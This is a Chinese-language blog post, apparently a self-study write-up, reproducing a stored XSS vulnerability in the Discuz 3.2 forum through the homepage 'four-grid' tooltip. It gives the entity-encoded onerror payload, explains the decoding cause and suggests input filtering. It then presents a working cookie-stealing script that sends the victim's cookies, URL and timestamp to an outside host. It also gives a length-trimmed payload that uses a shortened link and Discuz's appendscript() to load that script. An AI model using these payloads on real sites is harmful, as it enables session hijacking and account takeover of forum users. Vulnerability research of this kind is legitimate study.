前言

新的一年马上就开始了,新年打算研究点新的技术方向。由于经常被朋友拉着问，你会不会盗取qq，会不会投票作弊，每次尴尬的说不会时，总感觉自己的无用。
于是 web安全就作为2018年的研究计划吧。

这里写出第一篇漏洞文章。作为一个入门的开端。

参考

本文所提及的漏洞只是我的一个本地复现和更深入的利用。
漏洞来源参考如下文章,感谢作者的提供。
http://www.91ri.org/17317.html

概念说明

discuz 国内开源的论坛程序。
xss漏洞常见的web的漏洞一种。分为三类。其中存储型危害最大。
cookie 网址通过cookie记录用户的状态。无需密码即可登录。

漏洞证明

image.png

漏洞的复现步骤

1、本地搭建discuz3.2
2、后台开启首页四格

image.png

3、注册账号发帖。标题输入

&#0060;img src=1 onerror=alert(1) &#0062;

4、进入首页,鼠标指向首页四格上刚刚发的帖子。即可复现。

漏洞的原因

1、查看源码

image.png

2、鼠标指向的时候会触发 showTip(); 这个函数会读取当前元素的tip属性值。也就是会加载 <img src=1 onerror=alert(1) >
3、由于src=1不存在，则会执行 onerror 事件。最终形成xss。

4、更深入的原因是：我们输入的内容是

&#0060;img src=1 onerror=alert(1) &#0062;

dz程序在存储的时候也进行了适当的转义。但是 showTip()的内部,调用了 getAttribute函数，该函数会将属性值解码。导致产生如下代码。

<img src=1 onerror=alert(1) >

最终xss得以产生。

漏洞的解决。

对用户的输入进行更强的过滤。

漏洞的限制以及如何突破

需要开启首页四格。
无法突破。。但是开启首页四格的网站非常多，所以也不算大的限制。
标题存储内容长度限制，80个字节。
该问题导致利用的代码不能直接写入标题，否则无法完成复杂逻辑。可以通过动态加载外部js文件来实现。

突破标题的长度限制

编写js文件。

console.log("代码执行");
Date.prototype.Format = function (fmt) { //author: meizz
    var o = {
        "M+": this.getMonth() + 1, //月份
        "d+": this.getDate(), //日
        "h+": this.getHours(), //小时
        "m+": this.getMinutes(), //分
        "s+": this.getSeconds(), //秒
        "q+": Math.floor((this.getMonth() + 3) / 3), //季度
        "S": this.getMilliseconds() //毫秒
    };
    if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
    for (var k in o)
    if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
    return fmt;
}

var cookie = document.cookie;
var ele = document.createElement("img"); //创建img标签
var time = new  Date().Format("yyyy-MM-dd HH:mm:ss");
ele.src = "http://666coder.aoyait.test/index.html?cookie="+cookie+"&location="+window.location.href+"&time="+time;  //cookie获取
ele.id = "imgs";

以上js 执行的逻辑是：获取用户访问的地址+时间+cookie .然后发送给远程服务器。666coder.aoyait.test

压缩js的url长度。这里只能使用新浪的网址缩短服务。因为它的最短。是t.cn
利用代码。长度正好80 (谢天谢地)

&#0060;img src=1 onerror=appendscript(&#0034;http://t.cn/RHJpOh7&#0034;)&#x003E;

这里的appendscript() 是discuz 本身提供的函数。没有它，也无法缩短长度。


function appendscript(src, text, reload, charset) {
    var id = hash(src + text);
    if(!reload && in_array(id, evalscripts)) return;
    if(reload && $('#' + id)[0]) {
        $('#' + id)[0].parentNode.removeChild($('#' + id)[0]);
    }

    evalscripts.push(id);
    var scriptNode = document.createElement("script");
    scriptNode.type = "text/javascript";
    scriptNode.id = id;
    scriptNode.charset = charset ? charset : (!document.charset ? document.characterSet : document.charset);
    try {
        if(src) {
            scriptNode.src = src;
            scriptNode.onloadDone = false;
            scriptNode.onload = function () {
                scriptNode.onloadDone = true;
                JSLOADED[src] = 1;
            };
            scriptNode.onreadystatechange = function () {
                if((scriptNode.readyState == 'loaded' || scriptNode.readyState == 'complete') && !scriptNode.onloadDone) {
                    scriptNode.onloadDone = true;
                    JSLOADED[src] = 1;
                }
            };
        } else if(text){
            scriptNode.text = text;
        }
        document.getElementsByTagName('head')[0].appendChild(scriptNode);
    } catch(e) {}
}